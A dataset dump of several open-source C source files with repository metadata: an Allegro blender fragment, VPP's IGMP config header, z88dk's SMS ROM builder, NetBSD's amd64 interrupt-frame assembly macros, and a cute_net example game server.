else if ((_rgb_r_shift_16 == b*11) && (_rgb_g_shift_16 == 5) && (_rgb_b_shift_16 == r*11))
f16 = _blender_alpha16_bgr;
else
f16 = _blender_alpha16;
#else
/* hicolor not included in this build */
f15 = _blender_black;
f16 = _blender_black;
#endif
#ifdef ALLEGRO_COLOR24
/* decide which 24 bit blender to use */
if ((_rgb_r_shift_24 == r*16) && (_rgb_g_shift_24 == 8) && (_rgb_b_shift_24 == b*16))
f24 = _blender_alpha32;
else if ((_rgb_r_shift_24 == b*16) && (_rgb_g_shift_24 == 8) && (_rgb_b_shift_24 == r*16))
f24 = _blender_alpha24_bgr;
else
f24 = _blender_alpha24;
#else
/* 24 bit color not included in this build */
f24 = _blender_black;
#endif
#ifdef ALLEGRO_COLOR32
f32 = _blender_alpha32;
#else
f32 = _blender_black;
#endif
set_blender_mode_ex(_blender_black, _blender_black, _blender_black,
f32, f15, f16, f24, 0, 0, 0, 0);
}
|
8236c861ce5f3459b11edb1db4a32d7333a3d486
|
e1cddfd754d952134e72dfd03522c5ea4fb6008e
|
/src/plugins/igmp/igmp_config.h
|
f03afe199cc8e625ceac763db522faf633e9ca26
|
[
"Apache-2.0"
] |
permissive
|
FDio/vpp
|
0ad30fa1bec2975ffa6b66b45c9f4f32163123b6
|
f234b0d4626d7e686422cc9dfd25958584f4931e
|
refs/heads/master
| 2023-08-31T16:09:04.068646
| 2022-03-14T09:49:15
| 2023-08-31T09:50:00
| 96,556,718
| 1,048
| 630
|
Apache-2.0
| 2023-06-21T05:39:17
| 2017-07-07T16:29:40
|
C
|
UTF-8
|
C
| false
| false
| 3,715
|
h
|
igmp_config.h
|
/*
*------------------------------------------------------------------
* Copyright (c) 2018 Cisco and/or its affiliates.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*------------------------------------------------------------------
*/
#ifndef __IGMP_CONFIG_H__
#define __IGMP_CONFIG_H__
#include <igmp/igmp_types.h>
#include <igmp/igmp_timer.h>
#include <igmp/igmp_group.h>
/**
* GENERAL_REPORT = On expiry send a general report
* GENERAL_QUERY = On expiry send a general query
*/
#define foreach_igmp_config_timer_type \
_(GENERAL_REPORT, "general-report") \
_(GENERAL_QUERY, "general-query")
typedef enum igmp_config_timer_type_t_
{
#define _(v,s) IGMP_CONFIG_TIMER_##v,
foreach_igmp_config_timer_type
#undef _
} igmp_config_timer_type_t;
#define IGMP_CONFIG_N_TIMERS (IGMP_CONFIG_TIMER_GENERAL_QUERY + 1)
extern u8 *format_igmp_config_timer_type (u8 * s, va_list * args);
/**
* @brief IGMP interface configuration
*/
typedef struct igmp_config_t_
{
/**
* @param sw_if_index - interface sw_if_index
*/
u32 sw_if_index;
/**
* @param adj_index - multicast adjacency index on the link
*/
adj_index_t adj_index;
/**
* @param mode - host or router
*/
igmp_mode_t mode;
/**
* Robustness variable (section 5.1)
*/
u8 robustness_var;
/**
* Database of groups joined on the link
*/
uword *igmp_group_by_key;
/**
* A vector of scheduled query-response timers
*/
igmp_timer_id_t timers[IGMP_CONFIG_N_TIMERS];
/**
* ID of a proxy device this configuration is on
*/
u32 proxy_device_id;
} igmp_config_t;
#define FOR_EACH_GROUP(_group, _config, _body) \
do { \
igmp_key_t *__key__; \
u32 __gid__; \
hash_foreach_mem(__key__, __gid__, _config->igmp_group_by_key, \
({ \
_group = pool_elt_at_index(igmp_main.groups, __gid__); \
do { _body; } while (0); \
})); \
} while (0);
/**
* @brief igmp clear config
* @param config - igmp configuration
*
* Clear all (S,G)s on specified config and remove this config from pool.
*/
extern void igmp_clear_config (igmp_config_t * config);
/**
* @brief igmp config lookup
* @param sw_if_index - interface sw_if_index
*/
extern igmp_config_t *igmp_config_lookup (u32 sw_if_index);
/**
* Get the pool index for a config
*/
extern u32 igmp_config_index (const igmp_config_t * c);
/**
* Get the config from the pool index
*/
extern igmp_config_t *igmp_config_get (u32 index);
/**
* @brief igmp group lookup
* @param config - igmp configuration
* @param key - igmp key
*/
extern igmp_group_t *igmp_group_lookup (igmp_config_t * config,
const igmp_key_t * key);
extern u8 *format_igmp_config (u8 * s, va_list * args);
#endif
/*
* fd.io coding-style-patch-verification: ON
*
* Local Variables:
* eval: (c-set-style "gnu")
* End:
*/
|
a8b6bc9c2f720ca2da7a369a77416034fd9d9eb6
|
7f6c235b0598353549959c18f69eefd20b766907
|
/src/appmake/sms.c
|
8f696e5b19364882578774802f514deda8ff7105
|
[
"ClArtistic"
] |
permissive
|
z88dk/z88dk
|
46dfd4905f36d99333173cadd0a660839befc9f0
|
8b07f37cc43c5d9ffe69b563c80763491d8faff7
|
refs/heads/master
| 2023-09-04T19:29:49.254958
| 2023-09-03T20:51:24
| 2023-09-03T20:51:24
| 54,035,569
| 820
| 263
|
NOASSERTION
| 2023-09-05T11:09:04
| 2016-03-16T13:48:16
|
Assembly
|
UTF-8
|
C
| false
| false
| 9,075
|
c
|
sms.c
|
/*
* Convert an outfile into a main 32k binary + multiple 16k expansion banks
*
* Harold O. Pinheiro - 2006 - pascal
* Dominic Morris - 02/06/2007 - rewritten and placed into appmake
* Alvin Albrecht - 08/2016 - update to sms files that support bankswitched memory
*/
#include <time.h>
#include "appmake.h"
static char help = 0;
static char *binname = NULL;
static char *extension = ".sms";
static char *crtfile = NULL;
static char *outfile = NULL;
static int romfill = 255;
/* Options that are available for this module */
option_t sms_options[] = {
{ 'h', "help", "Display this help", OPT_BOOL, &help },
{ 'b', "binfile", "Linked binary file", OPT_STR, &binname },
{ 'c', "crt0file", "crt0 used to link binary", OPT_STR, &crtfile },
{ 'e', "extension", "Extension for the ROM", OPT_STR, &extension },
{ 'o', "output", "Name of output file", OPT_STR, &outfile },
{ 'f', "filler", "Filler byte (default: 0xFF)", OPT_INT, &romfill },
{ 0, NULL, NULL, OPT_NONE, NULL }
};
#define SMS_HEADER_ADDR 0x7ff0
#define SDSC_HEADER_ADDR 0x7fe0
static unsigned char memory[0xc000];
struct sms_header {
unsigned char signature[10];
unsigned int checksum;
unsigned int product_code;
unsigned int version;
unsigned int region;
unsigned int romsize;
};
struct sdsc_header {
unsigned char signature[4];
unsigned int version;
unsigned int date;
unsigned int author;
unsigned int name;
unsigned int description;
};
struct sms_header sega_hdr = {"TMR SEGA ",0,0,0,0x4,0xc};
struct sdsc_header sdsc_hdr = {"SDSC",0,0,0xffff,0xffff,0xffff};
int sms_exec(char *target)
{
time_t t;
struct tm *lt;
struct stat st_file;
char filename[FILENAME_MAX+1];
FILE *fpin, *fpout;
int checksum, len, sdsc_present, sega_present, i, c, count;
if ((help) || (binname == NULL))
return -1;
// output filename
if (outfile == NULL)
{
strcpy(filename, binname);
suffix_change(filename, extension);
}
else
strcpy(filename, outfile);
// gather header info
sdsc_present = 0;
sega_present = 1;
t = time(NULL); lt = localtime(&t);
sdsc_hdr.date = lt->tm_mday + (lt->tm_mon + 1)*100 + (lt->tm_year + 1900)*100*100;
if (crtfile != NULL)
{
if ((i = parameter_search(crtfile, ".map", "SMS_HDR_PRODUCT_CODE")) >= 0)
sega_hdr.product_code = i;
if ((i = parameter_search(crtfile, ".map", "SMS_HDR_VERSION")) >= 0)
sega_hdr.version = i;
if ((i = parameter_search(crtfile, ".map", "SMS_HDR_REGION")) >= 0)
sega_hdr.region = i;
if ((i = parameter_search(crtfile, ".map", "SMS_HDR_ROM_SIZE")) >= 0)
fprintf(stderr, "Notice: ROM size is always set to 32k for checksum purposes\n");
if ((i = parameter_search(crtfile, ".map", "SDSC_HDR_VERSION")) >= 0)
{
sdsc_present = 1;
sdsc_hdr.version = i;
}
if ((i = parameter_search(crtfile, ".map", "SDSC_HDR_DATE")) >= 0)
{
sdsc_present = 1;
sdsc_hdr.date = i;
}
if ((i = parameter_search(crtfile, ".map", "SDSC_HDR_AUTHOR")) >= 0)
{
sdsc_present = 1;
sdsc_hdr.author = i;
}
if ((i = parameter_search(crtfile, ".map", "SDSC_HDR_NAME")) >= 0)
{
sdsc_present = 1;
sdsc_hdr.name = i;
}
if ((i = parameter_search(crtfile, ".map", "SDSC_HDR_DESCRIPTION")) >= 0)
{
sdsc_present = 1;
sdsc_hdr.description = i;
}
}
// create 32k/48k portion of output binary
if ((fpin = fopen_bin(binname, crtfile)) == NULL)
exit_log(1, "Can't open input file %s\n", binname);
else if (fseek(fpin, 0, SEEK_END))
{
fclose(fpin);
exit_log(1, "Couldn't determine size of file %s\n", binname);
}
if ((len = ftell(fpin)) > 0xc000)
{
fclose(fpin);
exit_log(1, "Main output binary exceeds 48k by %d bytes\n", len - 0xc000);
}
if (sega_present && (len > SMS_HEADER_ADDR))
{
sega_present = 0;
fprintf(stderr, "Notice: SEGA header will not be inserted because main ROM is too large by %d bytes\n", len - SMS_HEADER_ADDR);
}
if (sdsc_present && (len > SDSC_HEADER_ADDR))
{
sdsc_present = 0;
fprintf(stderr, "Notice: SDSC header will not be inserted because main ROM is too large by %d bytes\n", len - SDSC_HEADER_ADDR);
}
rewind(fpin);
memset(memory, romfill, sizeof(memory));
if (len != fread(memory, sizeof(memory[0]), len, fpin)) { fclose(fpin); exit_log(1, "Could not read required data from <%s>\n",binname); }
fclose(fpin);
if (sdsc_present)
{
memcpy(&memory[SDSC_HEADER_ADDR], sdsc_hdr.signature, 4);
memory[SDSC_HEADER_ADDR+5] = (unsigned char)(sdsc_hdr.version = num2bcd(sdsc_hdr.version));
memory[SDSC_HEADER_ADDR+4] = (unsigned char)(sdsc_hdr.version >> 8);
memory[SDSC_HEADER_ADDR+6] = (unsigned char)(sdsc_hdr.date = num2bcd(sdsc_hdr.date));
memory[SDSC_HEADER_ADDR+7] = (unsigned char)(sdsc_hdr.date >> 8);
memory[SDSC_HEADER_ADDR+8] = (unsigned char)(sdsc_hdr.date >> 16);
memory[SDSC_HEADER_ADDR+9] = (unsigned char)(sdsc_hdr.date >> 24);
memory[SDSC_HEADER_ADDR+10] = (unsigned char)sdsc_hdr.author;
memory[SDSC_HEADER_ADDR+11] = (unsigned char)(sdsc_hdr.author >> 8);
memory[SDSC_HEADER_ADDR+12] = (unsigned char)sdsc_hdr.name;
memory[SDSC_HEADER_ADDR+13] = (unsigned char)(sdsc_hdr.name >> 8);
memory[SDSC_HEADER_ADDR+14] = (unsigned char)sdsc_hdr.description;
memory[SDSC_HEADER_ADDR+15] = (unsigned char)(sdsc_hdr.description >> 8);
}
if (sega_present)
{
memcpy(&memory[SMS_HEADER_ADDR], sega_hdr.signature, 10);
memory[SMS_HEADER_ADDR+14] = (unsigned char)(((sega_hdr.product_code/10000 << 4) & 0xf0) + (sega_hdr.version & 0x0f));
memory[SMS_HEADER_ADDR+12] = (unsigned char)(sega_hdr.product_code = num2bcd(sega_hdr.product_code));
memory[SMS_HEADER_ADDR+13] = (unsigned char)(sega_hdr.product_code >> 8);
memory[SMS_HEADER_ADDR+15] = (unsigned char)(((sega_hdr.region << 4) & 0xf0) + (sega_hdr.romsize & 0x0f));
for (i = checksum = 0; i < SMS_HEADER_ADDR; ++i)
checksum += memory[i];
memory[SMS_HEADER_ADDR+10] = (unsigned char)checksum;
memory[SMS_HEADER_ADDR+11] = (unsigned char)(checksum >> 8);
}
// write first 32k/48k of output file
if ((fpout = fopen(filename, "wb")) == NULL)
exit_log(1, "Can't create output file %s\n", filename);
fwrite(memory, sizeof(memory[0]), (len > 0x8000) ? 0xc000 : 0x8000, fpout);
// check available ram space
if ((c = parameter_search(crtfile, ".map", "__BSS_END_tail")) >= 0)
{
if ((i = parameter_search(crtfile, ".map", "__DATA_head")) >= 0)
{
c -= i - 8;
if (c <= 0x2000)
fprintf(stderr, "Notice: Available RAM space is %d bytes ignoring the stack\n", 0x2000 - c);
else
fprintf(stderr, "Warning: Exceeded 8k RAM by %d bytes.\n", c - 0x2000);
}
}
// look for and append memory banks
fprintf(stderr, "Adding main banks 0x00,0x01%s (%d bytes free)\n", (len > 0x8000) ? ",0x02" : "", ((len > 0x8000) ? 0xc000 : 0x8000)-len-16*(sega_present+sdsc_present));
suffix_change(binname,"");
count = 0;
for (i = 0x02 + (len > 0x8000); i <= 0x1f; ++i)
{
sprintf(filename, "%s_BANK_%02X.bin", binname, i);
if ((stat(filename, &st_file) < 0) || (st_file.st_size == 0) || ((fpin = fopen(filename, "rb")) == NULL))
count += 0x4000;
else
{
if (len > 0x8000)
{
fprintf(stderr, "Warning: The main binary extends into slot 2 by %d bytes\n", len - 0x8000);
len = 0;
}
fprintf(stderr, "Adding bank 0x%02X", i);
while (count--)
fputc(romfill, fpout);
for (count = 0; ((c = fgetc(fpin)) != EOF) && (count < 0x4000); ++count)
fputc(c, fpout);
if (count < 0x4000)
fprintf(stderr, " (%d bytes free)", 0x4000 - count);
while (count++ < 0x4000)
fputc(romfill, fpout);
if (!feof(fpin))
{
fseek(fpin, 0, SEEK_END);
count = ftell(fpin);
fprintf(stderr, " (error truncating %d bytes from %s)", count - 0x4000, filename);
}
count = 0;
fputc('\n', stderr);
fclose(fpin);
}
}
fclose(fpout);
return 0;
}
|
0184cd4c85946b772256e9c02f80674de89cc6ef
|
28d0f8c01599f8f6c711bdde0b59f9c2cd221203
|
/sys/arch/amd64/include/frameasm.h
|
4544a4e8aa8a22d16f42ba9a07a614b10f991a6e
|
[] |
no_license
|
NetBSD/src
|
1a9cbc22ed778be638b37869ed4fb5c8dd616166
|
23ee83f7c0aea0777bd89d8ebd7f0cde9880d13c
|
refs/heads/trunk
| 2023-08-31T13:24:58.105962
| 2023-08-27T15:50:47
| 2023-08-27T15:50:47
| 88,439,547
| 656
| 348
| null | 2023-07-20T20:07:24
| 2017-04-16T20:03:43
| null |
UTF-8
|
C
| false
| false
| 8,304
|
h
|
frameasm.h
|
/* $NetBSD: frameasm.h,v 1.55 2022/07/30 14:11:00 riastradh Exp $ */
#ifndef _AMD64_MACHINE_FRAMEASM_H
#define _AMD64_MACHINE_FRAMEASM_H
#ifdef _KERNEL_OPT
#include "opt_xen.h"
#include "opt_svs.h"
#include "opt_kcov.h"
#include "opt_kmsan.h"
#endif
/*
* Macros to define pushing/popping frames for interrupts, traps
* and system calls. Currently all the same; will diverge later.
*/
#ifdef XENPV
#define HYPERVISOR_iret hypercall_page + (__HYPERVISOR_iret * 32)
/* Xen do not need swapgs, done by hypervisor */
#define swapgs
#define iretq pushq $0 ; jmp HYPERVISOR_iret
#define XEN_ONLY2(x,y) x,y
#define NOT_XEN(x)
#define CLI(temp_reg) \
movq CPUVAR(VCPU),%r ## temp_reg ; \
movb $1,EVTCHN_UPCALL_MASK(%r ## temp_reg);
#define STI(temp_reg) \
movq CPUVAR(VCPU),%r ## temp_reg ; \
movb $0,EVTCHN_UPCALL_MASK(%r ## temp_reg);
#define PUSHF(temp_reg) \
movq CPUVAR(VCPU),%r ## temp_reg ; \
movzbl EVTCHN_UPCALL_MASK(%r ## temp_reg), %e ## temp_reg; \
pushq %r ## temp_reg
#define POPF \
popq %rdi; \
call _C_LABEL(xen_write_psl)
#else /* XENPV */
#define XEN_ONLY2(x,y)
#define NOT_XEN(x) x
#define CLI(temp_reg) cli
#define STI(temp_reg) sti
#define PUSHF(temp_reg) pushf
#define POPL popl
#endif /* XENPV */
#define HP_NAME_CLAC 1
#define HP_NAME_STAC 2
#define HP_NAME_NOLOCK 3
#define HP_NAME_RETFENCE 4
#define HP_NAME_SVS_ENTER 5
#define HP_NAME_SVS_LEAVE 6
#define HP_NAME_SVS_ENTER_ALT 7
#define HP_NAME_SVS_LEAVE_ALT 8
#define HP_NAME_IBRS_ENTER 9
#define HP_NAME_IBRS_LEAVE 10
#define HP_NAME_SVS_ENTER_NMI 11
#define HP_NAME_SVS_LEAVE_NMI 12
#define HP_NAME_MDS_LEAVE 13
#define HOTPATCH(name, size) \
123: ; \
.pushsection .rodata.hotpatch, "a" ; \
.byte name ; \
.byte size ; \
.quad 123b ; \
.popsection
#define SMAP_ENABLE \
HOTPATCH(HP_NAME_CLAC, 3) ; \
.byte 0x0F, 0x1F, 0x00 ; \
#define SMAP_DISABLE \
HOTPATCH(HP_NAME_STAC, 3) ; \
.byte 0x0F, 0x1F, 0x00 ; \
/*
* IBRS
*/
#define IBRS_ENTER_BYTES 12
#define IBRS_ENTER \
HOTPATCH(HP_NAME_IBRS_ENTER, IBRS_ENTER_BYTES) ; \
NOIBRS_ENTER
#define NOIBRS_ENTER \
.byte 0xEB, (IBRS_ENTER_BYTES-2) /* jmp */ ; \
.fill (IBRS_ENTER_BYTES-2),1,0xCC
#define IBRS_LEAVE_BYTES 12
#define IBRS_LEAVE \
HOTPATCH(HP_NAME_IBRS_LEAVE, IBRS_LEAVE_BYTES) ; \
NOIBRS_LEAVE
#define NOIBRS_LEAVE \
.byte 0xEB, (IBRS_LEAVE_BYTES-2) /* jmp */ ; \
.fill (IBRS_LEAVE_BYTES-2),1,0xCC
/*
* MDS
*/
#define MDS_LEAVE_BYTES 10
#define MDS_LEAVE \
HOTPATCH(HP_NAME_MDS_LEAVE, MDS_LEAVE_BYTES) ; \
NOMDS_LEAVE
#define NOMDS_LEAVE \
.byte 0xEB, (MDS_LEAVE_BYTES-2) /* jmp */ ; \
.fill (MDS_LEAVE_BYTES-2),1,0xCC
#define SWAPGS NOT_XEN(swapgs)
/*
* These are used on interrupt or trap entry or exit.
*/
#define INTR_SAVE_GPRS \
movq %rdi,TF_RDI(%rsp) ; \
movq %rsi,TF_RSI(%rsp) ; \
movq %rdx,TF_RDX(%rsp) ; \
movq %rcx,TF_RCX(%rsp) ; \
movq %r8,TF_R8(%rsp) ; \
movq %r9,TF_R9(%rsp) ; \
movq %r10,TF_R10(%rsp) ; \
movq %r11,TF_R11(%rsp) ; \
movq %r12,TF_R12(%rsp) ; \
movq %r13,TF_R13(%rsp) ; \
movq %r14,TF_R14(%rsp) ; \
movq %r15,TF_R15(%rsp) ; \
movq %rbp,TF_RBP(%rsp) ; \
movq %rbx,TF_RBX(%rsp) ; \
movq %rax,TF_RAX(%rsp)
#define INTR_RESTORE_GPRS \
movq TF_RDI(%rsp),%rdi ; \
movq TF_RSI(%rsp),%rsi ; \
movq TF_RDX(%rsp),%rdx ; \
movq TF_RCX(%rsp),%rcx ; \
movq TF_R8(%rsp),%r8 ; \
movq TF_R9(%rsp),%r9 ; \
movq TF_R10(%rsp),%r10 ; \
movq TF_R11(%rsp),%r11 ; \
movq TF_R12(%rsp),%r12 ; \
movq TF_R13(%rsp),%r13 ; \
movq TF_R14(%rsp),%r14 ; \
movq TF_R15(%rsp),%r15 ; \
movq TF_RBP(%rsp),%rbp ; \
movq TF_RBX(%rsp),%rbx ; \
movq TF_RAX(%rsp),%rax
#define TEXT_USER_BEGIN .pushsection .text.user, "ax"
#define TEXT_USER_END .popsection
#ifdef SVS
/* XXX: put this somewhere else */
#define SVS_UTLS 0xffffff0000000000 /* PMAP_PCPU_BASE */
#define UTLS_KPDIRPA 0
#define UTLS_SCRATCH 8
#define UTLS_RSP0 16
#define SVS_ENTER_BYTES 22
#define NOSVS_ENTER \
.byte 0xEB, (SVS_ENTER_BYTES-2) /* jmp */ ; \
.fill (SVS_ENTER_BYTES-2),1,0xCC
#define SVS_ENTER \
HOTPATCH(HP_NAME_SVS_ENTER, SVS_ENTER_BYTES) ; \
NOSVS_ENTER
#define SVS_LEAVE_BYTES 21
#define NOSVS_LEAVE \
.byte 0xEB, (SVS_LEAVE_BYTES-2) /* jmp */ ; \
.fill (SVS_LEAVE_BYTES-2),1,0xCC
#define SVS_LEAVE \
HOTPATCH(HP_NAME_SVS_LEAVE, SVS_LEAVE_BYTES) ; \
NOSVS_LEAVE
#define SVS_ENTER_ALT_BYTES 23
#define NOSVS_ENTER_ALTSTACK \
.byte 0xEB, (SVS_ENTER_ALT_BYTES-2) /* jmp */ ; \
.fill (SVS_ENTER_ALT_BYTES-2),1,0xCC
#define SVS_ENTER_ALTSTACK \
HOTPATCH(HP_NAME_SVS_ENTER_ALT, SVS_ENTER_ALT_BYTES) ; \
NOSVS_ENTER_ALTSTACK
#define SVS_LEAVE_ALT_BYTES 22
#define NOSVS_LEAVE_ALTSTACK \
.byte 0xEB, (SVS_LEAVE_ALT_BYTES-2) /* jmp */ ; \
.fill (SVS_LEAVE_ALT_BYTES-2),1,0xCC
#define SVS_LEAVE_ALTSTACK \
HOTPATCH(HP_NAME_SVS_LEAVE_ALT, SVS_LEAVE_ALT_BYTES) ; \
NOSVS_LEAVE_ALTSTACK
#define SVS_ENTER_NMI_BYTES 22
#define NOSVS_ENTER_NMI \
.byte 0xEB, (SVS_ENTER_NMI_BYTES-2) /* jmp */ ; \
.fill (SVS_ENTER_NMI_BYTES-2),1,0xCC
#define SVS_ENTER_NMI \
HOTPATCH(HP_NAME_SVS_ENTER_NMI, SVS_ENTER_NMI_BYTES) ; \
NOSVS_ENTER_NMI
#define SVS_LEAVE_NMI_BYTES 11
#define NOSVS_LEAVE_NMI \
.byte 0xEB, (SVS_LEAVE_NMI_BYTES-2) /* jmp */ ; \
.fill (SVS_LEAVE_NMI_BYTES-2),1,0xCC
#define SVS_LEAVE_NMI \
HOTPATCH(HP_NAME_SVS_LEAVE_NMI, SVS_LEAVE_NMI_BYTES) ; \
NOSVS_LEAVE_NMI
#else
#define SVS_ENTER /* nothing */
#define SVS_ENTER_NMI /* nothing */
#define SVS_LEAVE /* nothing */
#define SVS_LEAVE_NMI /* nothing */
#define SVS_ENTER_ALTSTACK /* nothing */
#define SVS_LEAVE_ALTSTACK /* nothing */
#endif
#ifdef KMSAN
/* XXX this belongs somewhere else. */
#define KMSAN_ENTER \
movq %rsp,%rdi ; \
movq $TF_REGSIZE+16+40,%rsi ; \
xorq %rdx,%rdx ; \
callq kmsan_mark ; \
callq kmsan_intr_enter
#define KMSAN_LEAVE \
pushq %rbp ; \
movq %rsp,%rbp ; \
callq kmsan_intr_leave ; \
popq %rbp
#define KMSAN_INIT_ARG(sz) \
pushq %rax ; \
pushq %rcx ; \
pushq %rdx ; \
pushq %rsi ; \
pushq %rdi ; \
pushq %r8 ; \
pushq %r9 ; \
pushq %r10 ; \
pushq %r11 ; \
movq $sz,%rdi ; \
callq _C_LABEL(kmsan_init_arg); \
popq %r11 ; \
popq %r10 ; \
popq %r9 ; \
popq %r8 ; \
popq %rdi ; \
popq %rsi ; \
popq %rdx ; \
popq %rcx ; \
popq %rax
#define KMSAN_INIT_RET(sz) \
pushq %rax ; \
pushq %rcx ; \
pushq %rdx ; \
pushq %rsi ; \
pushq %rdi ; \
pushq %r8 ; \
pushq %r9 ; \
pushq %r10 ; \
pushq %r11 ; \
movq $sz,%rdi ; \
callq _C_LABEL(kmsan_init_ret); \
popq %r11 ; \
popq %r10 ; \
popq %r9 ; \
popq %r8 ; \
popq %rdi ; \
popq %rsi ; \
popq %rdx ; \
popq %rcx ; \
popq %rax
#else
#define KMSAN_ENTER /* nothing */
#define KMSAN_LEAVE /* nothing */
#define KMSAN_INIT_ARG(sz) /* nothing */
#define KMSAN_INIT_RET(sz) /* nothing */
#endif
#ifdef KCOV
#define KCOV_DISABLE \
incl CPUVAR(IDEPTH)
#define KCOV_ENABLE \
decl CPUVAR(IDEPTH)
#else
#define KCOV_DISABLE /* nothing */
#define KCOV_ENABLE /* nothing */
#endif
#define INTRENTRY \
subq $TF_REGSIZE,%rsp ; \
INTR_SAVE_GPRS ; \
cld ; \
SMAP_ENABLE ; \
testb $SEL_UPL,TF_CS(%rsp) ; \
je 98f ; \
SWAPGS ; \
IBRS_ENTER ; \
SVS_ENTER ; \
movw %gs,TF_GS(%rsp) ; \
movw %fs,TF_FS(%rsp) ; \
movw %es,TF_ES(%rsp) ; \
movw %ds,TF_DS(%rsp) ; \
98: KMSAN_ENTER
#define INTRFASTEXIT \
jmp intrfastexit
#define INTR_RECURSE_HWFRAME \
movq %rsp,%r10 ; \
movl %ss,%r11d ; \
pushq %r11 ; \
pushq %r10 ; \
pushfq ; \
pushq $GSEL(GCODE_SEL,SEL_KPL); \
/* XEN: We must fixup CS, as even kernel mode runs at CPL 3 */ \
XEN_ONLY2(andb $0xfc,(%rsp);) \
pushq %r13 ;
#define INTR_RECURSE_ENTRY \
subq $TF_REGSIZE,%rsp ; \
INTR_SAVE_GPRS ; \
cld ; \
KMSAN_ENTER
#define CHECK_DEFERRED_SWITCH \
cmpl $0, CPUVAR(WANT_PMAPLOAD)
#define CHECK_ASTPENDING(reg) cmpl $0, L_MD_ASTPENDING(reg)
#define CLEAR_ASTPENDING(reg) movl $0, L_MD_ASTPENDING(reg)
/*
* If the FPU state is not in the CPU, restore it. Executed with interrupts
* disabled.
*
* %r14 is curlwp, must not be modified
* %rbx must not be modified
*/
#define HANDLE_DEFERRED_FPU \
testl $MDL_FPU_IN_CPU,L_MD_FLAGS(%r14) ; \
jnz 1f ; \
call _C_LABEL(fpu_handle_deferred) ; \
orl $MDL_FPU_IN_CPU,L_MD_FLAGS(%r14) ; \
1:
#endif /* _AMD64_MACHINE_FRAMEASM_H */
|
55288b8297d50f35f038e031170e7f86ef4b14c9
|
3dc1998c29a79242ea02cb71262a63e435e530cd
|
/examples_cute_net/server/server.c
|
60d36a8b0831b2daf95646f515a2f20a43aa8c47
|
[] |
no_license
|
RandyGaul/cute_headers
|
b0985d5d499fe84abb4963fe96b0786dba03cd24
|
265f675325629f3bae5710c6f1362bba9f619357
|
refs/heads/master
| 2023-09-05T21:03:20.930363
| 2023-08-29T02:27:12
| 2023-08-29T02:27:12
| 60,436,054
| 2,707
| 241
| null | 2023-08-29T02:27:13
| 2016-06-05T00:19:59
|
C
|
UTF-8
|
C
| false
| false
| 3,171
|
c
|
server.c
|
#define CUTE_NET_IMPLEMENTATION
#include "../../cute_net.h"
// Get this header from here: https://github.com/RandyGaul/cute_headers/blob/master/cute_time.h
#define CUTE_TIME_IMPLEMENTATION
#include "cute_time.h"
#include <time.h>
// This can be whatever you want. It's a unique identifier for your game or application, and
// used merely to identify yourself within Cute's packets. It's more of a formality than anything.
uint64_t g_application_id = 0;
// These keys were generated by the below function `print_embedded_keygen`. Usually it's a good idea
// to distribute your keys to your servers in absolute secrecy, perhaps keeping them hidden in a file
// and never shared publicly. But, putting them here is fine for testing purposes.
// Embedded g_public_key
int g_public_key_sz = 32;
unsigned char g_public_key_data[32] = {
0x4a,0xc5,0x56,0x47,0x30,0xbf,0xdc,0x22,0xc7,0x67,0x3b,0x23,0xc5,0x00,0x21,0x7e,
0x19,0x3e,0xa4,0xed,0xbc,0x0f,0x87,0x98,0x80,0xac,0x89,0x82,0x30,0xe9,0x95,0x6c
};
// Embedded g_secret_key
int g_secret_key_sz = 64;
unsigned char g_secret_key_data[64] = {
0x10,0xaa,0x98,0xe0,0x10,0x5a,0x3e,0x63,0xe5,0xdf,0xa4,0xb5,0x5d,0xf3,0x3c,0x0a,
0x31,0x5d,0x6e,0x58,0x1e,0xb8,0x5b,0xa4,0x4e,0xa3,0xf8,0xe7,0x55,0x53,0xaf,0x7a,
0x4a,0xc5,0x56,0x47,0x30,0xbf,0xdc,0x22,0xc7,0x67,0x3b,0x23,0xc5,0x00,0x21,0x7e,
0x19,0x3e,0xa4,0xed,0xbc,0x0f,0x87,0x98,0x80,0xac,0x89,0x82,0x30,0xe9,0x95,0x6c
};
uint64_t unix_timestamp() {
time_t ltime;
time(<ime);
struct tm* timeinfo = gmtime(<ime);;
return (uint64_t)mktime(timeinfo);
}
void panic(cn_result_t err) {
printf("ERROR: %s\n", err.details);
exit(-1);
}
int main(void) {
const char* address_and_port = "192.168.1.2:5001";
cn_endpoint_t endpoint;
cn_endpoint_init(&endpoint, address_and_port);
cn_server_config_t server_config = cn_server_config_defaults();
server_config.application_id = g_application_id;
memcpy(server_config.public_key.key, g_public_key_data, sizeof(g_public_key_data));
memcpy(server_config.secret_key.key, g_secret_key_data, sizeof(g_secret_key_data));
cn_server_t* server = cn_server_create(server_config);
cn_result_t result = cn_server_start(server, address_and_port);
if (cn_is_error(result)) panic(result);
printf("Server started, listening on port %d.\n", (int)endpoint.port);
while (1) {
float dt = ct_time();
uint64_t unix_time = unix_timestamp();
cn_server_update(server, (double)dt, unix_time);
cn_server_event_t e;
while (cn_server_pop_event(server, &e)) {
if (e.type == CN_SERVER_EVENT_TYPE_NEW_CONNECTION) {
printf("New connection from id %d, on index %d.\n", (int)e.u.new_connection.client_id, e.u.new_connection.client_index);
} else if (e.type == CN_SERVER_EVENT_TYPE_PAYLOAD_PACKET) {
printf("Got a message from client on index %d, \"%s\"\n", e.u.payload_packet.client_index, (const char*)e.u.payload_packet.data);
cn_server_free_packet(server, e.u.payload_packet.client_index, e.u.payload_packet.data);
} else if (e.type == CN_SERVER_EVENT_TYPE_DISCONNECTED) {
printf("Client disconnected on index %d.\n", e.u.disconnected.client_index);
}
}
}
cn_server_destroy(server);
return 0;
}
|
28eb1c374c5585b91127b07aef534a0775027432
|
1adebf72de7aa7147b1148ba35280645fbe5bbd3
|
/vendor/TLSF-2.4.6/examples/test.c
|
9df63512835fc2fb140b97297d4b0ba36017ab9e
|
[
"GPL-2.0-only",
"LGPL-2.1-only",
"LicenseRef-scancode-generic-exception",
"LGPL-2.0-or-later",
"GPL-2.0-or-later",
"GPL-1.0-or-later",
"MIT"
] |
permissive
|
josiah-wolf-oberholtzer/supriya
|
d0c4f921a06e3f9df40f91a226a1c038d3ef84d5
|
2ebf835ce9bbfca19e4220628a32c30fa66e04f7
|
refs/heads/main
| 2023-07-20T00:06:23.955530
| 2023-07-18T03:02:14
| 2023-07-18T03:02:14
